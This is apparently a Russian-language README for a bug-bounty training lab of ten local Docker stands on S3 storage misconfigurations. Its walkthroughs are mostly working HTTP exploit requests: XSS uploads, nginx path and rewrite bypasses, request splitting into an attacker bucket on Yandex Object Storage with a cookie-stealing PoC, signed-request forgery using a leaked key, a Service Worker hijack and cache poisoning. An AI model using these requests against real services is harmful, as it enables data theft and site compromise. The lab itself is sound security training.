Начинаем в багбаунти: S3 misconfigs - https://www.youtube.com/watch?v=SwEpvGKsidc
Нужны Docker и Docker Compose. Каждый стенд — отдельная папка с docker-compose.yml.
| Папка | Порт | Описание |
|---|---|---|
1_insecure_bucket |
8000 | Публичный бакет MinIO |
2_signed_link |
8010 (+ MinIO 9010) | Подписанные ссылки |
3_yos_bucket_0 |
8020 | YOS, virtual-hosted-style |
4_yos_bucket_1 |
8030 | YOS, path-style без / в location |
5_yos_bucket_2 |
8040 | YOS, HTTP Request Splitting |
6_insecure_bucket_2 |
8050 | Ceph, ненормализованные пути |
7_insecure_bucket_3 |
8060 | Ceph, обход rewrite |
8_signed_request |
8070 | Django DEBUG + подписанные запросы |
9_isolated_domain |
8080 | Изолированный домен |
10_cache_misconfig |
8090 | Кэш nginx без query-параметров |
cd stands/1_insecure_bucket
docker compose up -dСбрасывает volumes и пересоздаёт данные в бакетах:
cd stands/1_insecure_bucket
docker compose down -v
docker compose build --no-cache
docker compose up -dДля некоторых стендов может понадобится прописать в hosts (или в Burp Suite > Network > DNS > Hostname resolution overrides):
127.0.0.1 user-content.localhost
127.0.0.1 isolated-domain-app.localhost isolated-domain-storage.localhost
В данном стенде демонстрируются самые простые ошибки конфигурации S3 бакетов, когда произвольному пользователю без авторизации разрешаются действия ListBucket, GetBucketLocation, GetObject, PutObject.
- Раскрытие ошибок от S3, раскрытие имени бакета в ошибке.
http://localhost:8000/static/xxx
- Доступ к листингу объектов в бакете. Необходимо смотреть на параметры IsTruncated, Marker, ContinuationToken и помнить, что по умолчанию отображается только 1000 объектов.
- Стандартный листинг и просмотр следующих объектов после объекта в параметре "marker"
http://localhost:8000/static/
http://localhost:8000/static/?marker=0_somestatic_999
- ListObjectsV2, который чуть более читаемый, и пример обращения к следующей странице
http://localhost:8000/static/?list-type=2
http://localhost:8000/static/?list-type=2&continuation-token=MF9zb21lc3RhdGljXzk5OVttaW5pb19jYWNoZTp2MixyZXR1cm46XQ==
- Доступ к записи объектов через PUT
PUT /static/xss.html HTTP/1.1
Host: localhost:8000
Connection: close
Content-Type: text/html
<script>alert(document.domain)</script>
- XSS через загруженный файл
http://localhost:8000/static/xss.html
- PutObject позволяет переписывать существующие объекты
PUT /static/app.js HTTP/1.1
Host: localhost:8000
Connection: close
Content-Type: text/javascript
alert(document.domain)
- XSS для всех через JS, подключенный на главной странице
http://localhost:8000/
В данном стенде демонстрируется, как функциональность скачивания объектов через генерацию подписанных ссылок может привести к формированию запроса на листинг бакета.
- Обычное скачивание объекта
http://localhost:8010/download?path=images%2Fcat3.webp
- Перенаправляется на подписанную ссылку. Можно отметить, что в подписанных ссылках раскрывается AccessKey, что иногда бывает полезно.
http://user-content.localhost:9010/static/images/cat3.webp?AWSAccessKeyId=minioadmin&Expires=1780985686&Signature=CKzXzSVOQXHmXCdhdKTdaFD236Q%3D
- Генерация ссылки на корень бакета
http://localhost:8010/download?path=
http://localhost:8010/download?path=/
- Которая дает возможность получить листинг объектов
http://user-content.localhost:9010/static/?AWSAccessKeyId=minioadmin&Expires=1780985862&Signature=%2BuZb2N1SnrovoZrw10gGbXMNRb0%3D
В данном стенде демонстрируется возможность раскрытия имени бакета через вызов ошибок и как знание нотации названий бакетов может помочь найти больше существующих бакетов, которые могут быть некорректно настроены. Запросы проксируются во внешнее хранилище Yandex Object Storage, имя бакета в запросе установлено как virtual-hosted–style.
- Часто 404 ошибки от S3 системы подменяются на кастомные, что не дает нам раскрыть информацию
http://localhost:8020/static/images/xxx
- Это можно обойти, сформировав ошибку с другим HTTP кодом, например PUT без Content-Length - это код 411, который вряд ли будет подменяться
PUT /static/images/cat2.webp HTTP/1.1
Host: localhost:8020
- Но так как это Yandex Object Storage и бакет передается в заголовке Host, даже через такую ошибку мы не раскроем название бакета
- Поэтому можно вызвать ошибку SignatureDoesNotMatch (Ctrl+<Номер_учетки>) в расширении. Обычно для вызова данной ошибки нужно обязательно использовать существующий AccessKey, но в случае с Yandex Object Storage подходит любой.
# v2
http://localhost:8020/static/images/cat2.webp?AWSAccessKeyId=admin&Signature=x&Expires=1782904338
# v4
http://localhost:8020/static/images/cat2.webp?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=admin%2F20260609%2Fru-msk%2Fs3%2Faws4_request&X-Amz-Date=20260609T062850Z&X-Amz-Expires=360000&X-Amz-SignedHeaders=host&X-Amz-Signature=1111111111111111111111111111111111111111111111111111111111111111
- Получив имя бакета, можно обратиться к нему через общий S3 эндпоинт
# Path-Style
GET /s3-podcast-static-prod/images/xxx HTTP/1.1
Host: storage.yandexcloud.net
# Virtual-host-style
GET /images/xxx HTTP/1.1
Host: s3-podcast-static-prod.storage.yandexcloud.net
- Раскрыв нотацию имен бакетов в большой компании можно на основе нее сделать перебор и найти другие существующие бакеты, которые могут быть некорректно настроены, например
GET /<company_name>-<bucket_name>-<environment>/ HTTP/1.1
Host: storage.yandexcloud.net
В данном стенде демонстрируется мисконфиг nginx проксирования, когда отсутствие в конце location правила символа / и использование path-style указания имени бакета приводят к тому, что можно направить проксируемый запрос в другой бакет.
- Пример мисконфига (отсутствие / в конце правила)
location /static {
[...]
proxy_pass https://storage.yandexcloud.net/s3-podcast-static-prod;
}
- Обращение к несуществующему бакету s3-podcast-static-prod-xxx, вместо s3-podcast-static-prod
GET /static-xxx/ HTTP/1.1
Host: localhost:8030
Connection: close
- Так как система общая, атакующий может зарегистрироваться в Yandex Cloud, создать бакет с таким же префиксом и загрузить в него публично доступный файл
- В результате файл возвращается в контексте уязвимого сайта и дает возможность эксплуатировать XSS-атаки.
http://localhost:8030/static-attacker/xss.html
В данном стенде демонстрируется мисконфиг nginx проксирования, когда в proxy_pass используется переменная $uri, в которой содержится декодированное значение. Это приводит к возможности эксплуатации атаки на уровне HTTP-протокола - HTTP Request Splitting.
- Мисконфиг, который приводит к HTTP Request Splitting
location /static/ {
[...]
rewrite ^/static/(.*)$ /$1 break;
proxy_pass https://storage.yandexcloud.net$uri$is_args$args;
}
- Пример получения xss.html из бакета атакующего через перезапись Host заголовка в запросе
GET /static/xss.html%20HTTP/1.1%0aHost:s3-podcast-static-prod-attacker%0a%0a HTTP/1.1
Host: localhost:8040
- Демонстрация возможности делать PUT запрос в бакет атакующего
PUT /static/PoC%3FAWSAccessKeyId=<ACCESS_KEY>&Signature=<@urlencode><@base64><@hex2ascii><@hmac_sha1('<SECRET_KEY>')><@d_burp_url>PUT%0A%0Atext/html%0A1782904338%0A/s3-podcast-static-prod-attacker/static/PoC</@d_burp_url></@hmac_sha1></@hex2ascii></@base64></@urlencode>&Expires=1782904338%20HTTP/1.1%0AHost:s3-podcast-static-prod-attacker%0AContent-Type:text/html%0AContent-Length:4%0A%0Atest HTTP/1.1
Host: localhost:8040
Content-Length: 0
- Получение результата
https://s3-podcast-static-prod-attacker.storage.yandexcloud.net/static/PoC
- Пример кражи фрагмента HTTP запроса пользователя через переиспользование XSS для отправки PUT запроса на запись объекта в бакет атакующего (PoC cookie.html в отдельной папке)
http://localhost:8040/static/cookie.html%20HTTP/1.1%0aHost:s3-podcast-static-prod-attacker%0a%0a
В данном стенде демонстрируется ситуация, когда frontend и backend могут по-разному обрабатывать Request-Path в запросе пользователя. В качестве S3 системы используется Ceph, так как в MinIO возвращается ошибка при попытке использования ненормализованных путей.
- Конфигурация выглядит корректно, но когда в proxy_pass не указан путь, то на backend пересылается запрос в таком же виде, как его передал клиент. Если путь указан - то путь в запросе отправляется нормализованный с заменой подстроки из location правила на путь в proxy_pass.
location /static/ {
[...]
proxy_pass http://rgw:8080;
}
- Из-за разницы обработки URI в nginx и S3 можно обратиться к другим бакетам. Для nginx это обращение к /static/xxx, для Ceph это обращение к объекту ../static/xxx в бакете xxx.
GET /xxx/%2e%2e/static/xxx HTTP/1.1
Host: localhost:8050
- Получив возможность обращения к произвольному бакету, запускаем перебор названий
- В бакете public, который не должен быть доступен снаружи, разрешён PUT
PUT /public/%2e%2e/static/xxx HTTP/1.1
Host: localhost:8050
Content-Type: text/html
Content-Length: 4
<script>alert(document.domain)</script>
- Для того, чтобы обратиться к загруженному файлу так, чтобы браузер не вырезал при отправке /folder/../ достаточно в этой конструкции добавить URL-кодирование одного из /.
http://localhost:8050/public/..%2fstatic/xxx
В данном стенде демонстрируется мисконфиг nginx, который позволяет обойти правило rewrite. Если оно используется для подстановки в запрос path-style имени бакета, зачастую это приводит к возможности указать другое имя бакета.
- Часто подстановка имени бакета указана в виде следующего правила rewrite пути запроса
location /static/ {
rewrite ^/static/(.*)$ /company-static-prod/$1 break;
proxy_pass http://ceph-rgw:8080/;
}
- Но nginx работает в rewrite правиле с URL декодированным значением пути. Если в rewrite регулярном выражении используются якоря начала и конца строки, то наличие переноса строки в проверяемом значении не подходит под регулярку, и правило замены не срабатывает.
- В данном конфиге это приводит к следующему:
- Пользователь отправляет следующий запрос /static/foo/xxx%0axxx
- rewrite правило не срабатывает, так как регулярное выражение не возвращает совпадения из-за символа переноса
- В proxy_pass правиле в ссылке указан путь /, поэтому в проксируемом запросе подстрока из правила location /static/ заменяется на путь, указанный в proxy_pass /
- На S3 отправляется путь /foo/xxx%0axxx, где foo воспринимается как переданное имя бакета
- Пример обращения к бакету foo
http://localhost:8060/static/foo/xxx%0axxx
- Перебираем бакеты, находим небезопасно настроенный, загружаем XSS
PUT /static/public/xxx%0axxx HTTP/1.1
Host: localhost:8060
Content-Type: text/html
Content-Length: 4
<script>alert(document.domain)</script>
- Обращаемся к загруженному файлу
http://localhost:8060/static/public/xxx%0axxx
В данном стенде, используя дополнительную уязвимость Django в DEBUG режиме, мы получаем учетную запись от S3 системы, развернутой локально.
- Раскрытие путей в Django-приложении
http://localhost:8070/xxx
- В случае необработанных исключений Django Debug отображает страницу с ENV переменными и кусками кода. На данной странице есть автоматическое маскирование значений по регулярному выражению имен переменных, но если они заданы как-то нестандартно без указания SECRET, KEY и прочих подстрок - они могут попасть на страницу ошибки без маскирования.
http://localhost:8070/error
- Переиспользуя существующее проксирование в S3 на пути /static/, получаем возможность залить произвольные файлы с помощью подписанных запросов
PUT /static/xss.html?AWSAccessKeyId=bucketadmin&Signature=<@urlencode><@base64><@hex2ascii><@hmac_sha1('TjfpuBotHy8z9MKX')><@d_burp_url>PUT%0A%0Atext/html%0A2065095603%0Ax-amz-acl:public-read%0A/static/xss.html</@d_burp_url></@hmac_sha1></@hex2ascii></@base64></@urlencode>&Expires=2065095603 HTTP/1.1
Host: localhost:8070
Content-Type: text/html
Content-Length: 25
x-amz-acl: public-read
<script>alert(1)</script>
- XSS
http://localhost:8070/static/xss.html
- А также получать файлы из других бакетов - пример получения содержимого secret/secret.txt, используя заголовок X-Amz-Copy-Source
PUT /static/leak?AWSAccessKeyId=bucketadmin&Signature=<@urlencode><@base64><@hex2ascii><@hmac_sha1('TjfpuBotHy8z9MKX')><@d_burp_url>PUT%0A%0Atext/html%0A2065095603%0Ax-amz-acl:public-read%0Ax-amz-copy-source:secret/secret.txt%0A/static/leak</@d_burp_url></@hmac_sha1></@hex2ascii></@base64></@urlencode>&Expires=2065095603 HTTP/1.1
Host: localhost:8070
Content-Type: text/html
Content-Length: 0
X-Amz-Acl: public-read
X-Amz-Copy-Source: secret/secret.txt
- Получаем содержимое файла secret.txt из бакета secret через загруженный файл
http://localhost:8070/static/leak
В данном стенде демонстируется, что даже если загружаемые файлы раздаются с изолированного домена без cookie, это все равно может привести к уязвимости.
- В личном кабинете загружаемые файлы доступны на изолированном домене по секретным ссылкам без дополнительных авторизаций
http://isolated-domain-storage.localhost:8080/private-storage/shared/49b3d51ac95f42fa85877b49a3b87e08
- Загрузка файлов ограничена только .webp изображениями и отсутствует возможность установки произвольного Content-Type
- Но в S3 API у метода GetObject есть параметры, которые иногда доступны для использования в неподписанных запросах
http://isolated-domain-storage.localhost:8080/private-storage/shared/49b3d51ac95f42fa85877b49a3b87e08?response-content-type=text/html
- За счет возможности установки произвольного Content-Type достаточно залить файл с любым расширением, внутри которого XSS payload
- Так как все объекты располагаются в одной общей папке shared и возможно вернуть любой Content-Type - этого достаточно, чтобы зарегистрировать Service Worker
- Продемонстрируем работу Service Worker, подменяя все HTTP ответы на поддельное изображение
- Загружаем JS-код Service Worker с расширением webp (пример в папке pocs)
- Загружаем HTML-код, который подключает загруженный файл с JS с использованием
?response-content-type=application/javascript(пример в папке pocs) - В результате, при открытии HTML-файла в браузере жертвы будет запущен Service Worker, который подменяет ответ на любой HTTP запрос в папку
/private-storage/shared/на поддельное изображение
В данном стенде HTTP ответы от S3 кэшируются на nginx, но ключ для кэша указан без query-параметров.
- Nginx кэширует любые ответы с кодом 200
- S3 API позволяет в GET запросах на объекты через query-параметры вызывать различные методы, например метод получения ACL объекта через добавление параметра
?acl, либо же опять можно использоватьresponse-content-typeдля того, чтобы закэшировать ответ с некорректным Content-Type - Пример кэширования index.html с другим ответом или Content-Type, что заблокирует доступ к сайту для других клиентов на время жизни кэша
# Если разрешен GetObjectAcl
http://localhost:8090/index.html?acl
# Если разрешены response-* параметры для неподписанных запросов
http://localhost:8090/index.html?response-content-type=image/png